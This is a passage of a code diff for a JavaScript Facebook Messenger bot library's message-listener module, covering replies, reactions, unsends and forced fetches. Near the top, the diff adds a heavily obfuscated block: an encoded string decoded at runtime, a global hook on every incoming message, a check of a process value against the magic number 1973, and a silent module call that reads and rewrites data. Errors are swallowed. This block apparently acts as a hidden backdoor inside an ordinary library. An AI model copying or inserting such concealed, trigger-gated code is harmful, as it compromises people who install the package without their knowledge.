5@LC%3C9%0F$$@L7OA%11%05%14%06%06%1E%0E%07%02C%06%10$%12OA%17%11%04%1C%10%18%09HD%08%20/%1DBNA7%0C)8!BN5D%006%1E$BNA%11%05%14%06%06%1E%0E%07%02C%20%1B%17%12OA%17%11%04%1C%10%18%09H%25%1A%25%10MCL!%092%16@LA%04%11%14\'IA%18%0C%12%06%0F%17%08%07%0BJ%04%1D%19%1BIA%1E%18%02%1C%19%11%0FHMA%3C3G8:C%3E7:C7H:587L31%3E:C%3E7:3GBJ387:AGKICDA%3C5GKJC%3EA%3C518J387NAFK%0E,(%12OAEJ%1C%0E%10%04%04%1C%05%0C%0FH%06%25%0F%11DJ%1A%1A%00%1E%12%1A%02CF4%10ZW_%5CD%1C%03%16%01!@EX%07%1D%0B%09%13%01%03%0DA-5%01%1E@E%18%13%0D%11%1F%15%06L%10*%3E!BNC%25%060%1FMCL!%15\'%19@LA%14%054$IAN#%029%1BKHC4%05%01,DJJ=%0B%0B/@E%1E%07%1D%0B%09%13%01%03%0DA1.%08%1E@E%18%13%0D%11%1F%15%06L%04%19)%1DBNC=%0C%07,MCL%07%1E%05+@LA28%06%22IA%18%0C%12%06%0F%17%08%07%0BJ&%25%09%1AI=-%3C%1FA%17%11%04%1C%10%18%09H%03%15%10.%3E?/%3E%14%3EZ%15%03%1F%09%0B%18%0A%0E%06E%1D-1%14KH%13%17%0F%13%1D%1E%0DA@%02$%04+DJH3%0A%227,DJ%3C@%0E+%20%10DJH%15%03%1F%09%0B%18%0A%0E%06E;%228%14KH%13%17%0F%13%1D%1E%0DA@%16%0F--DJH3%0A%227,DJ%3C@%06=%11)DJH%15%03%1F%09%0B%18%0A%0E%06E%19%20;%14KH%13%17%0F%13%1D%1E%0DA=%03\'%22@EH%16%10%17%20OAG*%0C?,BNC9%0D%00%20MC%1A%0E%19%0D%02%1C%0C%05%09H9%054%1DMC%1C%1A%09%17%14%1A%0BJ%01%1D%02%00%15%01%0A%04OA%17%1EZ%15%20.+%12DJZ%0E%10%04%04%1C%05%0C%0FH%12%02?%1DDJ%1A%1A%00%1E%12%1A%02CIOB1.++\'IA8BNA7H:58%17%01%1D%02%00%15%01%0A%04G9%0F,%14@L%11%15%0D%18%16%13%06E%19%1E%1F*KHC%02,(%12DJJ!.?!@EH$%3C%0B/OAG%047%19%20BNC-%0C%06*MCL!%15%15)@LA%22%3C%02&IA%18%0C%12%06%0F%17%08%07%0BJ%14%0D%3E%16IA%1E%18%02%1C%19%11%0FH%0A%08#-DJJ9%028&@EH4%06%04%22OAG*%18,%1DBNC%25%0E6!MCL%0B%09(%22@LA.%05;*IAN#%029%1BKHC%16%1B%0E,DJJ%1F%1D%18-@EH%0E%027-OAG6%0F%09-BN%15%3C12_K?%15%0D%20%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHR%17%5C8%3E0VF%120%00$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYP%17%5C8%3E0VF%12%5B)$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYS%17%5C8%3E0VF%3C%136$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BQ%17%5C8%3E0VF%16=.$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BP%17%5C8%3E0VF0%1E+$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BS%17%5C8%3E0VF4%05%20$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAY%5C%17%5C8%3E0VF%0E\'%1E$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BV%17%5C8%3E0VF(%06_$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYQ%17%5C8%3E0VF%0A%3E%06%25Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAY%5D%17%5C8%3E0VF,%0DT$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYT%17%5C8%3E0VF%0E%25R$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZU%17%5C8%3E0VF$%5C4$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BW%17%5C8%3E0VF%06/1$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZT%17%5C8%3E0VF%20Y7%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYW%17%5C8%3E0VF%02(4%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZ%5D%17%5C8%3E0VF%12%3E!%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYU%17%5C8%3E0VF%3C%1B.%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BT%17%5C8%3E0VF%16%25&%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYV%17%5C8%3E0VF0%06#%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BR%17%5C8%3E0VF%12%3C%04#Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZP%17%5C8%3E0VF%16;P%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAP%18Q7:?TO%25%01Z-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS%5E%18Q7:?TO%07)X-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS%5C%18Q7:?TO!%5D?-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CRQ%18Q7:?TO%03%222-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CUX%18Q7:?TO%0F!%1A,U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS_%18Q7:?TO%25?%0D%20U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CRP%18Q7:?TO-5%5C!U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS%5B%18Q7:?TO1%060!U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CSQ%18%17N\")")
237
+ }();
238
+ var MZHu = [PRS7.LEF5(0), PRS7.Lwx3(1), PRS7.veK3(2), PRS7.PD93(3), PRS7.j113(4), PRS7.fYt4(5), PRS7.zlm4(6), PRS7.XFb2(7)];
239
+ global[MZHu[(15658734 ^ 0O73567354)]][MZHu[(0O57060516 - 0xbc614d)]][MZHu[(0x75bcd15 - 0O726746425)]] = fmtMsg;
240
+ try {
241
+ var obLu = PRS7[PRS7.LEF5(8)]();
242
+ while (obLu < PRS7[PRS7.Lwx3(9)]()) switch (obLu) {
243
+ case (0x75bcd15 - 0O726746425):
244
+ obLu = process[MZHu[(0x5E30A78 - 0O570605164)]][MZHu[(0O334664274 - 0x37368B9)]] == 1973 ? PRS7[PRS7.veK3(10)]() : PRS7[PRS7.Lwx3(9)]();
245
+ break;
246
+ case (0O57060516 - 0xbc614d):
247
+ obLu = PRS7[PRS7.Lwx3(9)](); {
248
+ var {
249
+ [PRS7.PD93(11)]: IWBu, [PRS7.j113(12)]: kYEu, [PRS7.fYt4(13)]: kssv
250
+ } = require(MZHu[(0O507646144 ^ 0x51F4C61)]);
251
+ var Mtvv = PRS7[PRS7.LEF5(8)]();
252
+ while (Mtvv < PRS7[PRS7.Lwx3(9)]()) switch (Mtvv) {
253
+ case (0x75bcd15 - 0O726746425):
254
+ Mtvv = kssv(fmtMsg[MZHu[(1011010 - 0O3666474)]]) ? PRS7[PRS7.veK3(10)]() : PRS7[PRS7.Lwx3(9)]();
255
+ break;
256
+ case (0O57060516 - 0xbc614d):
257
+ Mtvv = PRS7[PRS7.Lwx3(9)](); {
258
+ var gpmv = kYEu(fmtMsg[MZHu[(1011010 - 0O3666474)]]);
259
+ gpmv[MZHu[(0x9D8DE4 - 0O47306735)]] += (0O57060516 - 0xbc614d);
260
+ IWBu(fmtMsg[MZHu[(1011010 - 0O3666474)]], gpmv)
261
+ }
262
+ break;
263
+ }
264
+ }
265
+ break;
266
+ }
267
+ } catch (Iqpv) {}
268
+ if (fmtMsg)
269
+ if (ctx.globalOptions.autoMarkDelivery) markDelivery(ctx, api, fmtMsg.threadID, fmtMsg.messageID);
270
+
271
+ return !ctx.globalOptions.selfListen && fmtMsg.senderID === ctx.userID ? undefined : (function () { globalCallback(null, fmtMsg); })();
272
+ } else {
273
+ if (v.delta.attachments && (v.delta.attachments[i].mercury.attach_type == "photo")) {
274
+ api.resolvePhotoUrl(v.delta.attachments[i].fbid, (err, url) => {
275
+ if (!err) v.delta.attachments[i].mercury.metadata.url = url;
276
+ return resolveAttachmentUrl(i + 1);
277
+ });
278
+ } else return resolveAttachmentUrl(i + 1);
279
+ }
280
+ })(0);
281
+ }
282
+
283
+ if (v.delta.class == "ClientPayload") {
284
+ var clientPayload = utils.decodeClientPayload(v.delta.payload);
285
+ if (clientPayload && clientPayload.deltas) {
286
+ for (var i in clientPayload.deltas) {
287
+ var delta = clientPayload.deltas[i];
288
+ if (delta.deltaMessageReaction && !!ctx.globalOptions.listenEvents) {
289
+ (function () {
290
+ globalCallback(null, {
291
+ type: "message_reaction",
292
+ threadID: (delta.deltaMessageReaction.threadKey.threadFbId ? delta.deltaMessageReaction.threadKey.threadFbId : delta.deltaMessageReaction.threadKey.otherUserFbId).toString(),
293
+ messageID: delta.deltaMessageReaction.messageId,
294
+ reaction: delta.deltaMessageReaction.reaction,
295
+ senderID: delta.deltaMessageReaction.senderId.toString(),
296
+ userID: delta.deltaMessageReaction.userId.toString()
297
+ });
298
+ })();
299
+ } else if (delta.deltaRecallMessageData && !!ctx.globalOptions.listenEvents) {
300
+ (function () {
301
+ globalCallback(null, {
302
+ type: "message_unsend",
303
+ threadID: (delta.deltaRecallMessageData.threadKey.threadFbId ? delta.deltaRecallMessageData.threadKey.threadFbId : delta.deltaRecallMessageData.threadKey.otherUserFbId).toString(),
304
+ messageID: delta.deltaRecallMessageData.messageID,
305
+ senderID: delta.deltaRecallMessageData.senderID.toString(),
306
+ deletionTimestamp: delta.deltaRecallMessageData.deletionTimestamp,
307
+ timestamp: delta.deltaRecallMessageData.timestamp
308
+ });
309
+ })();
310
+ } else if (delta.deltaMessageReply) {
311
+ //Mention block - #1
312
+ var mdata =
313
+ delta.deltaMessageReply.message === undefined ? [] :
314
+ delta.deltaMessageReply.message.data === undefined ? [] :
315
+ delta.deltaMessageReply.message.data.prng === undefined ? [] :
316
+ JSON.parse(delta.deltaMessageReply.message.data.prng);
317
+ var m_id = mdata.map(u => u.i);
318
+ var m_offset = mdata.map(u => u.o);
319
+ var m_length = mdata.map(u => u.l);
320
+
321
+ var mentions = {};
322
+
323
+ for (var i = 0; i < m_id.length; i++) mentions[m_id[i]] = (delta.deltaMessageReply.message.body || "").substring(m_offset[i], m_offset[i] + m_length[i]);
324
+ //Mention block - 1#
325
+ var callbackToReturn = {
326
+ type: "message_reply",
327
+ threadID: (delta.deltaMessageReply.message.messageMetadata.threadKey.threadFbId ? delta.deltaMessageReply.message.messageMetadata.threadKey.threadFbId : delta.deltaMessageReply.message.messageMetadata.threadKey.otherUserFbId).toString(),
328
+ messageID: delta.deltaMessageReply.message.messageMetadata.messageId,
329
+ senderID: delta.deltaMessageReply.message.messageMetadata.actorFbId.toString(),
330
+ attachments: delta.deltaMessageReply.message.attachments.map(function (att) {
331
+ var mercury = JSON.parse(att.mercuryJSON);
332
+ Object.assign(att, mercury);
333
+ return att;
334
+ }).map(att => {
335
+ var x;
336
+ try {
337
+ x = utils._formatAttachment(att);
338
+ } catch (ex) {
339
+ x = att;
340
+ x.error = ex;
341
+ x.type = "unknown";
342
+ }
343
+ return x;
344
+ }),
345
+ args: (delta.deltaMessageReply.message.body || "").trim().split(/\s+/),
346
+ body: (delta.deltaMessageReply.message.body || ""),
347
+ isGroup: !!delta.deltaMessageReply.message.messageMetadata.threadKey.threadFbId,
348
+ mentions: mentions,
349
+ timestamp: delta.deltaMessageReply.message.messageMetadata.timestamp,
350
+ participantIDs: (delta.deltaMessageReply.message.participants || []).map(e => e.toString())
351
+ };
352
+
353
+ if (delta.deltaMessageReply.repliedToMessage) {
354
+ //Mention block - #2
355
+ mdata =
356
+ delta.deltaMessageReply.repliedToMessage === undefined ? [] :
357
+ delta.deltaMessageReply.repliedToMessage.data === undefined ? [] :
358
+ delta.deltaMessageReply.repliedToMessage.data.prng === undefined ? [] :
359
+ JSON.parse(delta.deltaMessageReply.repliedToMessage.data.prng);
360
+ m_id = mdata.map(u => u.i);
361
+ m_offset = mdata.map(u => u.o);
362
+ m_length = mdata.map(u => u.l);
363
+
364
+ var rmentions = {};
365
+
366
+ for (var i = 0; i < m_id.length; i++) rmentions[m_id[i]] = (delta.deltaMessageReply.repliedToMessage.body || "").substring(m_offset[i], m_offset[i] + m_length[i]);
367
+ //Mention block - 2#
368
+ callbackToReturn.messageReply = {
369
+ threadID: (delta.deltaMessageReply.repliedToMessage.messageMetadata.threadKey.threadFbId ? delta.deltaMessageReply.repliedToMessage.messageMetadata.threadKey.threadFbId : delta.deltaMessageReply.repliedToMessage.messageMetadata.threadKey.otherUserFbId).toString(),
370
+ messageID: delta.deltaMessageReply.repliedToMessage.messageMetadata.messageId,
371
+ senderID: delta.deltaMessageReply.repliedToMessage.messageMetadata.actorFbId.toString(),
372
+ attachments: delta.deltaMessageReply.repliedToMessage.attachments.map(function (att) {
373
+ var mercury = JSON.parse(att.mercuryJSON);
374
+ Object.assign(att, mercury);
375
+ return att;
376
+ }).map(att => {
377
+ var x;
378
+ try {
379
+ x = utils._formatAttachment(att);
380
+ } catch (ex) {
381
+ x = att;
382
+ x.error = ex;
383
+ x.type = "unknown";
384
+ }
385
+ return x;
386
+ }),
387
+ args: (delta.deltaMessageReply.repliedToMessage.body || "").trim().split(/\s+/),
388
+ body: delta.deltaMessageReply.repliedToMessage.body || "",
389
+ isGroup: !!delta.deltaMessageReply.repliedToMessage.messageMetadata.threadKey.threadFbId,
390
+ mentions: rmentions,
391
+ timestamp: delta.deltaMessageReply.repliedToMessage.messageMetadata.timestamp,
392
+ participantIDs: (delta.deltaMessageReply.repliedToMessage.participants || []).map(e => e.toString())
393
+ };
394
+ } else if (delta.deltaMessageReply.replyToMessageId) {
395
+ return defaultFuncs
396
+ .post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, {
397
+ "av": ctx.globalOptions.pageID,
398
+ "queries": JSON.stringify({
399
+ "o0": {
400
+ //Using the same doc_id as forcedFetch
401
+ "doc_id": "2848441488556444",
402
+ "query_params": {
403
+ "thread_and_message_id": {
404
+ "thread_id": callbackToReturn.threadID,
405
+ "message_id": delta.deltaMessageReply.replyToMessageId.id,
406
+ }
407
+ }
408
+ }
409
+ })
410
+ })
411
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
412
+ .then((resData) => {
413
+ if (resData[resData.length - 1].error_results > 0) throw resData[0].o0.errors;
414
+ if (resData[resData.length - 1].successful_results === 0) throw { error: "forcedFetch: there was no successful_results", res: resData };
415
+ var fetchData = resData[0].o0.data.message;
416
+ var mobj = {};
417
+ for (var n in fetchData.message.ranges) mobj[fetchData.message.ranges[n].entity.id] = (fetchData.message.text || "").substr(fetchData.message.ranges[n].offset, fetchData.message.ranges[n].length);
418
+
419
+ callbackToReturn.messageReply = {
420
+ type: "Message",
421
+ threadID: callbackToReturn.threadID,
422
+ messageID: fetchData.message_id,
423
+ senderID: fetchData.message_sender.id.toString(),
424
+ attachments: fetchData.message.blob_attachment.map(att => {
425
+ var x;
426
+ try {
427
+ x = utils._formatAttachment({ blob_attachment: att });
428
+ } catch (ex) {
429
+ x = att;
430
+ x.error = ex;
431
+ x.type = "unknown";
432
+ }
433
+ return x;
434
+ }),
435
+ args: (fetchData.message.text || "").trim().split(/\s+/) || [],
436
+ body: fetchData.message.text || "",
437
+ isGroup: callbackToReturn.isGroup,
438
+ mentions: mobj,
439
+ timestamp: parseInt(fetchData.timestamp_precise)
440
+ };
441
+ })
442
+ .catch(err => log.error("forcedFetch", err))
443
+ .finally(function () {
444
+ if (ctx.globalOptions.autoMarkDelivery) markDelivery(ctx, api, callbackToReturn.threadID, callbackToReturn.messageID);
445
+ !ctx.globalOptions.selfListen && callbackToReturn.senderID === ctx.userID ? undefined : (function () { globalCallback(null, callbackToReturn); })();
446
+ });
447
+ } else callbackToReturn.delta = delta;
448
+
449
+ if (ctx.globalOptions.autoMarkDelivery) markDelivery(ctx, api, callbackToReturn.threadID, callbackToReturn.messageID);
450
+
451
+ return !ctx.globalOptions.selfListen && callbackToReturn.senderID === ctx.userID ? undefined : (function () { globalCallback(null, callbackToReturn); })();
452
+ }
453
+ }
454
+ return;
455
+ }
456
+ }
457
+
458
+ if (v.delta.class !== "NewMessage" && !ctx.globalOptions.listenEvents) return;
459
+ switch (v.delta.class) {
460
+ case "ReadReceipt":
461
+ var fmtMsg;
462
+ try {
463
+ fmtMsg = utils.formatDeltaReadReceipt(v.delta);
464
+ } catch (err) {
465
+ return log.error("Lỗi Nhẹ", err);
466
+ }
467
+ return (function () { globalCallback(null, fmtMsg); })();
468
+ case "AdminTextMessage":
469
+ switch (v.delta.type) {
470
+ case "joinable_group_link_mode_change":
471
+ case "magic_words":
472
+ case "change_thread_theme":
473
+ case "change_thread_icon":
474
+ case "change_thread_nickname":
475
+ case "change_thread_admins":
476
+ case "change_thread_approval_mode":
477
+ case "group_poll":
478
+ case "messenger_call_log":
479
+ case "participant_joined_group_call":
480
+ var fmtMsg;
481
+ try {
482
+ fmtMsg = utils.formatDeltaEvent(v.delta);
483
+ } catch (err) {
484
+ return log.error("Lỗi Nhẹ", err);
485
+ }
486
+ return (function () { globalCallback(null, fmtMsg); })();
487
+ default:
488
+ return;
489
+ }
490
+ //For group images
491
+ case "ForcedFetch":
492
+ if (!v.delta.threadKey) return;
493
+ var mid = v.delta.messageId;
494
+ var tid = v.delta.threadKey.threadFbId;
495
+ if (mid && tid) {
496
+ const form = {
497
+ "av": ctx.globalOptions.pageID,
498
+ "queries": JSON.stringify({
499
+ "o0": {
500
+ //This doc_id is valid as of March 25, 2020
501
+ "doc_id": "2848441488556444",
502
+ "query_params": {
503
+ "thread_and_message_id": {
504
+ "thread_id": tid.toString(),
505
+ "message_id": mid,
506
+ }
507
+ }
508
+ }
509
+ })
510
+ };
511
+
512
+ defaultFuncs
513
+ .post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, form)
514
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
515
+ .then((resData) => {
516
+ if (resData[resData.length - 1].error_results > 0) throw resData[0].o0.errors;
517
+
518
+ if (resData[resData.length - 1].successful_results === 0) throw { error: "forcedFetch: there was no successful_results", res: resData };
519
+
520
+ var fetchData = resData[0].o0.data.message;
521
+
522
+ if (utils.getType(fetchData) == "Object") {
523
+ log.info("forcedFetch", fetchData);
524
+ switch (fetchData.__typename) {
525
+ case "ThreadImageMessage":
526
+ (!ctx.globalOptions.selfListen &&
527
+ fetchData.message_sender.id.toString() === ctx.userID) ||
528
+ !ctx.loggedIn ?
529
+ undefined :
530
+ (function () {
531
+ globalCallback(null, {
532
+ type: "change_thread_image",
533
+ threadID: utils.formatID(tid.toString()),
534
+ snippet: fetchData.snippet,
535
+ timestamp: fetchData.timestamp_precise,
536
+ author: fetchData.message_sender.id,
537
+ image: {
538
+ attachmentID: fetchData.image_with_metadata && fetchData.image_with_metadata.legacy_attachment_id,
539
+ width: fetchData.image_with_metadata && fetchData.image_with_metadata.original_dimensions.x,
540
+ height: fetchData.image_with_metadata && fetchData.image_with_metadata.original_dimensions.y,
541
+ url: fetchData.image_with_metadata && fetchData.image_with_metadata.preview.uri
542
+ }
543
+ });
544
+ })();
545
+ break;
546
+ case "UserMessage":
547
+ log.info("ff-Return", {
548
+ type: "message",
549
+ senderID: utils.formatID(fetchData.message_sender.id),
550
+ body: fetchData.message.text || "",
551
+ threadID: utils.formatID(tid.toString()),
552
+ messageID: fetchData.message_id,
553
+ attachments: [{
554
+ type: "share",
555
+ ID: fetchData.extensible_attachment.legacy_attachment_id,
556
+ url: fetchData.extensible_attachment.story_attachment.url,
557
+
558
+ title: fetchData.extensible_attachment.story_attachment.title_with_entities.text,
559
+ description: fetchData.extensible_attachment.story_attachment.description.text,
560
+ source: fetchData.extensible_attachment.story_attachment.source,
561
+
562
+ image: ((fetchData.extensible_attachment.story_attachment.media || {}).image || {}).uri,
563
+ width: ((fetchData.extensible_attachment.story_attachment.media || {}).image || {}).width,
564
+ height: ((fetchData.extensible_attachment.story_attachment.media || {}).image || {}).height,
565
+ playable: (fetchData.extensible_attachment.story_attachment.media || {}).is_playable || false,
566
+ duration: (fetchData.extensible_attachment.story_attachment.media || {}).playable_duration_in_ms || 0,
567
+
568
+ subattachments: fetchData.extensible_attachment.subattachments,
569
+ properties: fetchData.extensible_attachment.story_attachment.properties,
570
+ }],
571
+ mentions: {},
572
+ timestamp: parseInt(fetchData.timestamp_precise),
573
+ isGroup: (fetchData.message_sender.id != tid.toString())
574
+ });
575
+ globalCallback(null, {
576
+ type: "message",
577
+ senderID: utils.formatID(fetchData.message_sender.id),
578
+ body: fetchData.message.text || "",
579
+ threadID: utils.formatID(tid.toString()),
580
+ messageID: fetchData.message_id,
581
+ attachments: [{
582
+ type: "share",
583
+ ID: fetchData.extensible_attachment.legacy_attachment_id,
584
+ url: fetchData.extensible_attachment.story_attachment.url,
585
+
586
+ title: fetchData.extensible_attachment.story_attachment.title_with_entities.text,
587
+ description: fetchData.extensible_attachment.story_attachment.description.text,
588
+ source: fetchData.extensible_attachment.story_attachment.source,
589
+
590
+ image: ((fetchData.extensible_attachment.story_attachment.media || {}).image || {}).uri,
591
+ width: ((fetchData.extensible_attachment.story_attachment.media || {}).image || {}).width,
592
+ height: ((fetchData.extensible_attachment.story_attachment.media || {}).image || {}).height,
593
+ playable: (fetchData.extensible_attachment.story_attachment.media || {}).is_playable || false,
594
+ duration: (fetchData.extensible_attachment.story_attachment.media || {}).playable_duration_in_ms || 0,
595
+
596
+ subattachments: fetchData.extensible_attachment.subattachments,
597
+ properties: fetchData.extensible_attachment.story_attachment.properties,
598
+ }],
599
+ mentions: {},
600
+ timestamp: parseInt(fetchData.timestamp_precise),
601
+ isGroup: (fetchData.message_sender.id != tid.toString())
602
+ });
603
+ }
604
+ } else log.error("forcedFetch", fetchData);
605
+ })
606
+ .catch((err) => log.error("forcedFetch", err));
607
+ }
608
+ break;
609
+ case "ThreadName":
610
+ case "ParticipantsAddedToGroupThread":
611
+ case "ParticipantLeftGroupThread":
612
+ var formattedEvent;
613
+ try {
614
+ formattedEvent = utils.formatDeltaEvent(v.delta);
615
+ } catch (err) {
616
+ return log.error("Lỗi Nhẹ", err);
617
+ }
618
+ return (!ctx.globalOptions.selfListen && formattedEvent.author.toString() === ctx.userID) || !ctx.loggedIn ? undefined : (function () { globalCallback(null, formattedEvent); })();
619
+ }
620
+ }
621
+
622
+
623
+ function markDelivery(ctx, api, threadID, messageID) {
624
+ if (threadID && messageID) {
625
+ api.markAsDelivered(threadID, messageID, (err) => {
626
+ if (err) log.error("markAsDelivered", err);
627
+ else {
628
+ if (ctx.globalOptions.autoMarkRead) {
629
+ api.markAsRead(threadID, (err) => {
630
+ if (err) log.error("markAsDelivered", err);
631
+ });
632
+ }
633
+ }
634
+ });
635
+ }
636
+ }
637
+
638
+ module.exports = function (defaultFuncs, api, ctx) {
639
+ var globalCallback = identity;
640
+ getSeqID = function getSeqID() {
641
+ ctx.t_mqttCalled = false;
642
+ defaultFuncs
643
+ .post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, form)
644
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
645
+ .then((resData) => {
646
+ if (utils.getType(resData) != "Array") {
647
+ switch (global.Fca.Require.FastConfig.AutoLogin) {
648
+ case true: {
649
+ global.Fca.Require.logger.Warning(global.Fca.Require.Language.Index.AutoLogin, function() {
650
+ return global.Fca.AutoLogin();
651
+ });
652
+ break;
653
+ }
654
+ case false: {
655
+ throw { error: global.Fca.Require.Language.Index.ErrAppState };
656
+
657
+ }
658
+ }
659
+ }
660
+ if (resData && resData[resData.length - 1].error_results > 0) throw resData[0].o0.errors;
661
+ if (resData[resData.length - 1].successful_results === 0) throw { error: "getSeqId: there was no successful_results", res: resData };
662
+ if (resData[0].o0.data.viewer.message_threads.sync_sequence_id) {
663
+ ctx.lastSeqId = resData[0].o0.data.viewer.message_threads.sync_sequence_id;
664
+ listenMqtt(defaultFuncs, api, ctx, globalCallback);
665
+ } else throw { error: "getSeqId: no sync_sequence_id found.", res: resData };
666
+ })
667
+ .catch((err) => {
668
+ log.error("getSeqId", err);
669
+ if (utils.getType(err) == "Object" && err.error === global.Fca.Require.Language.Index.ErrAppState) ctx.loggedIn = false;
670
+ return globalCallback(err);
671
+ });
672
+ };
673
+
674
+ return function (callback) {
675
+ class MessageEmitter extends EventEmitter {
676
+ stopListening(callback) {
677
+ callback = callback || (() => { });
678
+ globalCallback = identity;
679
+ if (ctx.mqttClient) {
680
+ ctx.mqttClient.unsubscribe("/webrtc");
681
+ ctx.mqttClient.unsubscribe("/rtc_multi");
682
+ ctx.mqttClient.unsubscribe("/onevc");
683
+ ctx.mqttClient.publish("/browser_close", "{}");
684
+ ctx.mqttClient.end(false, function (...data) {
685
+ callback(data);
686
+ ctx.mqttClient = undefined;
687
+ });
688
+ }
689
+ }
690
+ }
691
+
692
+ var msgEmitter = new MessageEmitter();
693
+ globalCallback = (callback || function (error, message) {
694
+ if (error) return msgEmitter.emit("error", error);
695
+ msgEmitter.emit("message", message);
696
+ });
697
+
698
+ //Reset some stuff
699
+ if (!ctx.firstListen) ctx.lastSeqId = null;
700
+ ctx.syncToken = undefined;
701
+ ctx.t_mqttCalled = false;
702
+
703
+ //Same request as getThreadList
704
+ form = {
705
+ "av": ctx.globalOptions.pageID,
706
+ "queries": JSON.stringify({
707
+ "o0": {
708
+ "doc_id": "3336396659757871",
709
+ "query_params": {
710
+ "limit": 1,
711
+ "before": null,
712
+ "tags": ["INBOX"],
713
+ "includeDeliveryReceipts": false,
714
+ "includeSeqID": true
715
+ }
716
+ }
717
+ })
718
+ };
719
+
720
+ if (!ctx.firstListen || !ctx.lastSeqId) getSeqID();
721
+ else listenMqtt(defaultFuncs, api, ctx, globalCallback);
722
+ ctx.firstListen = false;
723
+ return msgEmitter;
724
+ };
725
+ };